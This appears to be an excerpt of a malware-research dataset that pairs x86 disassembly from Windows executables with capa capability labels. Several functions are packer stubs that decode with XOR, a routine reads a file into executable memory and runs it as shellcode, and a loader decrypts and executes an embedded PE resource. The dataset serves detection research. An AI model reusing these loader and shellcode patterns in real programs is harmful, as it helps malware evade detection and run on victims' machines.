joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40235f
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
mov ebx, dword [ebp + 0x10]
push esi
xor esi, esi
test ebx, ebx
jne 0x402378
push 1
pop eax
jmp 0x4023ed
mov eax, dword [0x408488]
push 0
mov dword [ebp - 0x100], eax
push 0
lea eax, [ebp - 0x104]
push 0
push eax
mov eax, dword [ebp + 8]
inc eax
mov dword [ebp - 0x104], 1
push eax
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x4023e6
test eax, eax
je 0x402378
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x402378
mov eax, ebx
push 0
sub eax, esi
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x4023e6
cmp eax, 0xffffffff
je 0x4023e6
add esi, eax
cmp esi, ebx
jb 0x402378
xor eax, eax
cmp esi, ebx
sete al
pop esi
pop ebx
leave
ret

Function at 0x402b47
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
xor ebx, ebx
push esi
push ebx
push 0x80
push 4
push ebx
push 2
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402bbc
push edi
push 2
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
xor eax, eax
lea edi, [ebp - 0xb]
mov byte [ebp - 0xc], bl
mov dword [ebp + 8], ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, dword [ebp + 0xc]
cmp edi, ebx
jbe 0x402bb4
lea eax, [ebp - 0xc]
push 0xa
push eax
jmp loc.0040b000
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405590
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4055ae
or eax, eax
pop esi
add esp, 0x10
ret
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
push ecx
mov dword [esp + 0xc], eax
mov word [esp + 8], 2
call dword [sym.imp.WS2_32.dll_htons]
lea edx, [esp + 4]
push 0x10
push edx
push esi
mov word [esp + 0x12], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4055ef
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
pop esi
add esp, 0x10
ret
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x432002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43200c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x40729f
sub eax, 0x407245
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x432030
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43201e
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x65462893
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42e1d0
nop
mov ecx, 0x5f144b9
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x406273
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp dword [ebp + 8], ebx
je 0x406298
mov eax, dword [0x40a8a0]
cmp eax, 0xffffffff
je 0x40628f
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [0x40a8a0], 0xffffffff
jmp 0x40630b
cmp dword [0x440a40], ebx
je 0x40630b
cmp byte [0x440640], bl
je 0x4062d7
cmp dword [0x40a8a0], 0xffffffff
jne 0x4062e0
push 4
push 0x40000000
push 0x440640
call fcn.00405c27
cmp eax, 0xffffffff
mov dword [0x40a8a0], eax
je 0x40630b
push 2
push ebx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp dword [0x40a8a0], 0xffffffff
je 0x40630b
push esi
mov esi, 0x444a60
push 0x40aae8
push esi
call fcn.00405f75
lea eax, [ebp + 8]
push ebx
push eax
push esi
call fcn.00405f68
push eax
push esi
push dword [0x40a8a0]
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
pop ebx
pop ebp
ret 4

Function at 0x4064bd
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push esi
xor esi, esi
cmp dword [0x44023c], esi
push edi
jne 0x4064f7
mov ecx, 0x440238
push 8
mov eax, esi
pop edi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec edi
jne 0x4064d3
mov dword [ecx], eax
add ecx, 4
inc esi
cmp ecx, 0x440638
jl 0x4064ce
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0xc]
mov edx, ecx
dec ecx
test edx, edx
not eax
jbe 0x40652c
lea edx, [ecx + 1]
mov ecx, dword [esp + 0x10]
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x440238]
xor eax, esi
inc ecx
dec edx
jne 0x40650f
pop edi
pop esi
not eax
ret 0xc

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x401031
Capabilities:
Hide graphical window

Disassembly:
push 0
call sub.kernel32.dll_GetModuleHandleA
mov dword [0x403110], eax
call sub.kernel32.dll_GetCommandLineA
mov dword [0x403114], eax
push 0xa
push dword [0x403114]
push 0
push dword [0x403110]
call 0x401031
push eax
call sub.kernel32.dll_ExitProcess
push ebp
mov ebp, esp
add esp, 0xffffffb0
mov dword [ebp - 0x30], 0x30
mov dword [ebp - 0x2c], 3
mov dword [ebp - 0x28], 0x401140
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
push dword [0x403110]
pop dword [ebp - 0x1c]
mov dword [ebp - 0x10], 6
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], str.PureControl
push 0x3f
call sub.user32.dll_GetSystemMetrics
cmp eax, 3
jne 0x40109f
push 0x400000
push eax
add eax, 0xf
pop eax
add eax, 0x1d
nop
and eax, eax
jne 0x40108e
xor eax, eax
push 0
call fcn.00401379
push 0x7f00
push 0
call sub.user32.dll_LoadIconA
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], eax
push 0x7f00
push 0
call sub.user32.dll_LoadCursorA
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x30]
push eax
call sub.user32.dll_RegisterClassExA
push 0
push dword [ebp + 8]
push 0
push 0
push 0x80000000
push 0x80000000
push 0x80000000
push 0x80000000
push 0xcf0000
push str.MyApp
push str.PureControl
push 0
call sub.user32.dll_CreateWindowExA
mov dword [ebp - 0x50], eax
push dword [ebp + 0x14]
push dword [ebp - 0x50]
call sub.user32.dll_ShowWindow
push dword [ebp - 0x50]
call sub.user32.dll_UpdateWindow
push 0
push 0
push 0
lea eax, [ebp - 0x4c]
push eax
call sub.user32.dll_GetMessageA
or eax, eax
je 0x401139
lea eax, [ebp - 0x4c]
push eax
call sub.user32.dll_TranslateMessage
lea eax, [ebp - 0x4c]
push eax
call sub.user32.dll_DispatchMessageA
jmp 0x401112
mov eax, dword [ebp - 0x44]
leave
ret 0x10
Function at 0x40119f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
pushal
mov eax, dword [ebp + 0x14]
add eax, dword [eax + 0x3c]
add eax, 0x14
add eax, 4
mov eax, dword [eax + 0x18]
add eax, str.GetLastError
sub eax, 0x2000
add eax, dword [ebp + 0x10]
push eax
mov eax, dword [ebp + 0x14]
add eax, dword [eax + 0x3c]
add eax, 0x14
add eax, 4
mov eax, dword [eax + 0x18]
add eax, 0x403011
sub eax, 0x2000
add eax, dword [ebp + 0x10]
push dword [eax]
mov eax, dword [ebp + 0x14]
add eax, dword [eax + 0x3c]
add eax, 0x14
add eax, 4
mov eax, dword [eax + 0x18]
add eax, 0x4030f7
sub eax, 0x2000
add eax, dword [ebp + 0x10]
call dword [eax]
push eax
mov eax, dword [ebp + 0x14]
add eax, dword [eax + 0x3c]
add eax, 0x14
add eax, 4
mov eax, dword [eax + 0x18]
add eax, 0x40300c
sub eax, 0x2000
add eax, dword [ebp + 0x10]
push eax
mov eax, dword [ebp + 0x14]
add eax, dword [eax + 0x3c]
add eax, 0x14
add eax, 4
mov eax, dword [eax + 0x18]
add eax, 0x403011
sub eax, 0x2000
add eax, dword [ebp + 0x10]
push dword [eax]
mov eax, dword [ebp + 0x14]
add eax, dword [eax + 0x3c]
add eax, 0x14
add eax, 4
mov eax, dword [eax + 0x18]
add eax, 0x4030f7
sub eax, 0x2000
add eax, dword [ebp + 0x10]
call dword [eax]
pop eax
call eax
or eax, eax
jne 0x401260
push eax
jmp 0x40126e
cmp eax, 0x7f
jne 0x40126c
push 0x100
jmp 0x40126e
push 1
mov esi, dword [ebp + 8]
mov ebx, 0xa
mov ecx, dword [ebp + 0xc]
shr ecx, 2
xor edx, edx
mov eax, dword [ebp + 0xc]
shr eax, 2
sub eax, ecx
push eax
div ebx
add edx, 2
sub dword [esi], edx
xor edx, edx
pop eax
div ebx
add edx, dword [esp]
push edx
add dword [esp], 0x259d23e6
pop edx
xor dword [esi], edx
add esi, 4
loop 0x40127c
pop eax
popal
leave
ret 0x10
Function at 0x401379
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Extract resource via kernel32 functions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
mov esi, dword [esp + 0x8c]
and esi, 0xffff0000
mov eax, esi
cmp word [eax], 0x5a4d
jne 0x401398
add eax, dword [eax + 0x3c]
sub esi, 0x10000
cmp word [eax], 0x4550
jne 0x40138c
add esi, 0x10000
push esi
mov eax, 0x403011
pop dword [eax]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004012e1
mov dword [0x4030f7], eax
push 0x40300c
push 0x3e8
push 0
call sub.kernel32.dll_FindResourceA
or eax, eax
jne 0x4013dc
leave
ret 8
push eax
push eax
push 0
call sub.kernel32.dll_SizeofResource
or eax, eax
jne 0x4013ed
leave
ret 8
mov dword [ebp - 8], eax
pop eax
push eax
push 0
call sub.kernel32.dll_LoadResource
or eax, eax
jne 0x401401
leave
ret 8
push eax
call sub.kernel32.dll_LockResource
or eax, eax
jne 0x40140f
leave
ret 8
mov dword [ebp - 0xc], eax
push 4
push 0x3000
push dword [ebp - 8]
push 0
call sub.kernel32.dll_VirtualAlloc
or eax, eax
jne 0x40142b
leave
ret 8
push eax
mov esi, dword [ebp - 0xc]
mov edi, eax
mov ecx, dword [ebp - 8]
rep movsb byte es:[edi], byte [esi]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 8]
push dword [esp + 0xc]
call fcn.0040119f
mov ebx, dword [esp]
add ebx, dword [ebx + 0x3c]
lea eax, [ebx + 0x18]
mov ebx, dword [eax + 0x38]
pop eax
push ebx
push 0x8000
push 0
push eax
call sub.kernel32.dll_VirtualFree
mov ebx, dword [ebp + 0xc]
add ebx, dword [ebx + 0x3c]
lea eax, [ebx + 0x18]
mov ebx, dword [eax + 0x38]
mov dword [ebp - 4], ebx
mov ebx, dword [esp]
add ebx, dword [ebp + 0xc]
and ebx, 0xffff0000
add ebx, 0x10000
push 0x40
push 0x3000
push dword [ebp - 4]
push ebx
call sub.kernel32.dll_VirtualAlloc
or eax, eax
je 0x40147e
mov edi, eax
mov esi, dword [ebp + 0xc]
mov ecx, dword [ebp - 4]
rep movsb byte es:[edi], byte [esi]
push eax
sub eax, dword [ebp + 0xc]
add dword [ebp + 8], eax
mov ebx, 0x4014f4
add ebx, dword [ebp + 8]
mov dword [ebp - 0x14], ebx
mov ebx, 0x401b90
add ebx, dword [ebp + 8]
sub ebx, dword [ebp - 0x14]
mov dword [ebp - 0x10], ebx
lea ebx, [ebp - 0x14]
push ebx
push 0x4012ac
push dword [ebp + 0xc]
call fcn.0040116d
pop eax
pop ebx
push eax
push ebx
push dword [ebp + 8]
push dword [ebp - 8]
mov eax, dword [ebp + 8]
add dword [ebp - 0xc], eax
push dword [ebp - 0xc]
mov eax, 0x40175f
add eax, dword [ebp + 8]
call eax
leave
ret 8
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
pop eax
nop
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x10008da0
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, edx
not ebx
mov esi, ecx
mov eax, ebx
test edi, edi
je 0x10008e01
mov cl, byte [esi]
lea esi, [esi + 1]
dec edi
cmp cl, 0x23
jne 0x10008de4
cmp edi, 2
jb 0x10008de4
cmp byte [esi], cl
jne 0x10008de4
cmp byte [esi + 1], cl
jne 0x10008de4
mov eax, ebx
movzx ecx, cl
movzx edx, al
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x100809c0]
jmp 0x10008db5
movzx edx, al
movzx ecx, cl
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x100809c0]
test edi, edi
jne 0x10008db5
pop edi
pop esi
not eax
pop ebx
pop ebp
ret
mov cl, byte [esi]
inc esi
test cl, cl
je 0x10008e30
cmp cl, 0x23
jne 0x10008e17
cmp byte [esi], cl
jne 0x10008e17
cmp byte [esi + 1], cl
cmove eax, ebx
movzx edx, al
movzx ecx, cl
xor edx, ecx
shr eax, 8
mov cl, byte [esi]
inc esi
xor eax, dword [edx*4 + 0x100809c0]
test cl, cl
jne 0x10008e08
pop edi
pop esi
not eax
pop ebx
pop ebp
ret

Function at 0x10008fc0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
push edi
test esi, esi
jne 0x10008fe3
push 0x806
push str.C:UsersUserDocumentsDYOM_ImGUI_InputImGuiimgui.cpp
push str.filename__mode
call fcn.10060e17
add esp, 0xc
mov edi, dword [ebp + 8]
test edi, edi
je 0x10008ff0
mov dword [edi], 0
mov edx, 0x100802a8
mov ecx, esi
call fcn.10008e40
mov esi, eax
test esi, esi
je 0x100090cf
push esi
call fcn.1005507c
add esp, 4
mov dword [ebp + 8], eax
cmp eax, 0xffffffff
je 0x100090c6
push 2
push 0
push esi
call fcn.100559a8
add esp, 0xc
test eax, eax
jne 0x100090c6
push esi
call fcn.1005507c
mov ebx, eax
add esp, 4
cmp ebx, 0xffffffff
je 0x100090c6
push 0
push dword [ebp + 8]
push esi
call fcn.100559a8
add esp, 0xc
test eax, eax
jne 0x100090c6
mov eax, dword [0x10092c50]
test eax, eax
je 0x10009065
inc dword [eax + 0xb0]
push ebx
call fcn.10060e98
add esp, 4
mov dword [ebp + 8], eax
test eax, eax
je 0x100090c6
push esi
push ebx
push 1
push eax
call fcn.1005ba72
add esp, 0x10
push esi
cmp eax, ebx
je 0x100090b0
call fcn.10055680
mov eax, dword [0x10092c50]
add esp, 4
test eax, eax
je 0x1000909e
dec dword [eax + 0xb0]
push dword [ebp + 8]
call fcn.1005b87e
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
call fcn.10055680
add esp, 4
test edi, edi
je 0x100090be
mov dword [edi], ebx
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
pop ebp
ret
push esi
call fcn.10055680
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret
Function at 0x1000b980
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
cmp dword [edi + 0xe4], 0
jg 0x1000b9a8
push 0x739
push str.C:UsersUserDocumentsDYOM_ImGUI_InputImGuiimgui.h
push str.Size___0
call fcn.10060e17
add esp, 0xc
mov eax, dword [edi + 0xe4]
lea edx, [ebp + 8]
mov ebx, dword [edi + 0xec]
mov esi, 4
mov ebx, dword [ebx + eax*4 - 4]
not ebx
movzx eax, byte [edx]
lea edx, [edx + 1]
movzx ecx, bl
xor ecx, eax
shr ebx, 8
xor ebx, dword [ecx*4 + 0x100809c0]
sub esi, 1
jne 0x1000b9c2
mov eax, dword [edi]
not ebx
cmp dword [eax + 0x3e94], ebx
jne 0x1000b9f9
push ecx
push dword [ebp + 8]
lea edx, [esi + 4]
mov ecx, ebx
call fcn.10020f40
add esp, 8
pop edi
pop esi
mov eax, ebx
pop ebx
pop ebp
ret 4

Function at 0x1000ba10
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov esi, ecx
push edi
cmp dword [esi + 0xe4], 0
jg 0x1000ba3a
push 0x739
push str.C:UsersUserDocumentsDYOM_ImGUI_InputImGuiimgui.h
push str.Size___0
call fcn.10060e17
add esp, 0xc
mov eax, dword [ebp + 8]
mov edi, 0x10
movss xmm1, dword [esi + 0x100]
movss xmm2, dword [esi + 0x104]
mov ecx, dword [esi + 0xe4]
movss xmm0, dword [eax]
subss xmm0, xmm1
movss dword [ebp - 0x14], xmm0
movss xmm0, dword [eax + 4]
subss xmm0, xmm2
movss dword [ebp - 0x10], xmm0
movss xmm0, dword [eax + 8]
subss xmm0, xmm1
movss dword [ebp - 0xc], xmm0
movss xmm0, dword [eax + 0xc]
mov eax, dword [esi + 0xec]
subss xmm0, xmm2
lea esi, [ebp - 0x14]
mov edx, dword [eax + ecx*4 - 4]
movss dword [ebp - 8], xmm0
not edx
nop
movzx eax, byte [esi]
lea esi, [esi + 1]
movzx ecx, dl
xor ecx, eax
shr edx, 8
xor edx, dword [ecx*4 + 0x100809c0]
sub edi, 1
jne 0x1000baa0
not edx
pop edi
mov eax, edx
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x10019ed0
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
mov eax, dword [0x1008f210]
xor eax, esp
mov dword [esp + 0x10], eax
push ebx
push esi
push edi
mov edi, dword [0x10092c50]
mov ebx, ecx
cmp byte [edi + 0x4989], 0
jne 0x10019f2b
cmp byte [edi + 0x498a], 0
jne 0x10019f2b
movsx eax, word [edi + 0x5a3c]
push eax
push str.Tooltip__02d
lea eax, [esp + 0x14]
push 0x10
push eax
call fcn.10008cc0
add esp, 0x10
test bl, 2
je 0x1001a047
jmp 0x10019fbf
movss xmm1, dword [edi + 0x3854]
movaps xmm0, xmm1
mulss xmm1, dword [0x10088438]
mulss xmm0, dword [0x10088448]
addss xmm1, dword [edi + 0xdc0]
addss xmm0, dword [edi + 0xdbc]
mov dword [edi + 0x472c], 0
mov dword [edi + 0x4730], 0
movss dword [edi + 0x4728], xmm1
mov dword [edi + 0x4718], 1
movss dword [edi + 0x4724], xmm0
movss xmm0, dword [edi + 0x38b0]
mulss xmm0, dword [0x100883b4]
or dword [edi + 0x4714], 0x41
movss dword [edi + 0x4768], xmm0
movsx eax, word [edi + 0x5a3c]
push eax
push str.Tooltip__02d
lea eax, [esp + 0x14]
push 0x10
push eax
call fcn.10008cc0
add esp, 0x10
mov al, byte [esp + 0xc]
lea esi, [esp + 0xd]
or edx, 0xffffffff
test al, al
je 0x10019ff8
or ebx, 0xffffffff
cmp al, 0x23
jne 0x10019fdf
cmp byte [esi], al
jne 0x10019fdf
cmp byte [esi + 1], al
cmove edx, ebx
movzx ecx, dl
movzx eax, al
xor ecx, eax
shr edx, 8
mov al, byte [esi]
inc esi
xor edx, dword [ecx*4 + 0x100809c0]
test al, al
jne 0x10019fd1
not edx
mov ecx, edx
call fcn.1000f680
test eax, eax
je 0x1001a047
cmp byte [eax + 0xaa], 0
je 0x1001a047
mov byte [eax + 0xaf], 1
mov byte [eax + 0xb1], 1
mov byte [eax + 0xcc], 1
inc word [edi + 0x5a3c]
mov ax, word [edi + 0x5a3c]
cwde
push eax
push str.Tooltip__02d
lea eax, [esp + 0x14]
push 0x10
push eax
call fcn.10008cc0
add esp, 0x10
push 0x20c0347
xor edx, edx
lea ecx, [esp + 0x10]
call fcn.10012030
mov ecx, dword [esp + 0x20]
add esp, 4
mov al, 1
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10050e60
mov esp, ebp
pop ebp
ret
Function at 0x1001fdf0
Capabilities:
Hash data with crc32

Disassembly:
push ebx
mov bl, byte [ecx]
or eax, 0xffffffff
push esi
lea esi, [ecx + 1]
push edi
mov edi, dword [0x10092c50]
test bl, bl
je 0x1001fe36
or edi, 0xffffffff
cmp bl, 0x23
jne 0x1001fe17
cmp byte [esi], bl
jne 0x1001fe17
cmp byte [esi + 1], bl
cmove eax, edi
movzx edx, al
movzx ecx, bl
mov bl, byte [esi]
xor edx, ecx
shr eax, 8
inc esi
xor eax, dword [edx*4 + 0x100809c0]
test bl, bl
jne 0x1001fe08
mov edi, dword [0x10092c50]
mov ecx, dword [edi + 0x5a8c]
not eax
mov edx, dword [edi + 0x5a94]
pop edi
pop esi
lea ecx, [ecx + ecx*8]
lea ecx, [edx + ecx*4]
pop ebx
cmp edx, ecx
je 0x1001fe5d
cmp dword [edx + 4], eax
je 0x1001fe60
add edx, 0x24
cmp edx, ecx
jne 0x1001fe51
xor eax, eax
ret
mov eax, edx
ret
Function at 0x1002dd40
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x1002dd76
mov eax, dword [0x10092c50]
mov dword [esi + 4], 0
mov dword [esi], 0
test eax, eax
je 0x1002dd66
dec dword [eax + 0xb0]
push ecx
call fcn.1005b87e
add esp, 4
mov dword [esi + 8], 0
mov ecx, dword [esi + 0x14]
test ecx, ecx
je 0x1002ddaa
mov eax, dword [0x10092c50]
mov dword [esi + 0x10], 0
mov dword [esi + 0xc], 0
test eax, eax
je 0x1002dd9a
dec dword [eax + 0xb0]
push ecx
call fcn.1005b87e
add esp, 4
mov dword [esi + 0x14], 0
mov ecx, dword [esi + 0x20]
test ecx, ecx
je 0x1002ddde
mov eax, dword [0x10092c50]
mov dword [esi + 0x1c], 0
mov dword [esi + 0x18], 0
test eax, eax
je 0x1002ddce
dec dword [eax + 0xb0]
push ecx
call fcn.1005b87e
add esp, 4
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x38], 0
mov ecx, dword [esi + 0x44]
test ecx, ecx
je 0x1002de2e
mov eax, dword [0x10092c50]
mov dword [esi + 0x40], 0
mov dword [esi + 0x3c], 0
test eax, eax
je 0x1002de1e
dec dword [eax + 0xb0]
push ecx
call fcn.1005b87e
add esp, 4
mov dword [esi + 0x44], 0
mov ecx, dword [esi + 0x50]
test ecx, ecx
je 0x1002de62
mov eax, dword [0x10092c50]
mov dword [esi + 0x4c], 0
mov dword [esi + 0x48], 0
test eax, eax
je 0x1002de52
dec dword [eax + 0xb0]
push ecx
call fcn.1005b87e
add esp, 4
mov dword [esi + 0x50], 0
mov ecx, dword [esi + 0x5c]
test ecx, ecx
je 0x1002de96
mov eax, dword [0x10092c50]
mov dword [esi + 0x58], 0
mov dword [esi + 0x54], 0
test eax, eax
je 0x1002de86
dec dword [eax + 0xb0]
push ecx
call fcn.1005b87e
add esp, 4
mov dword [esi + 0x5c], 0
lea ecx, [esi + 0x78]
pop esi
jmp fcn.10030990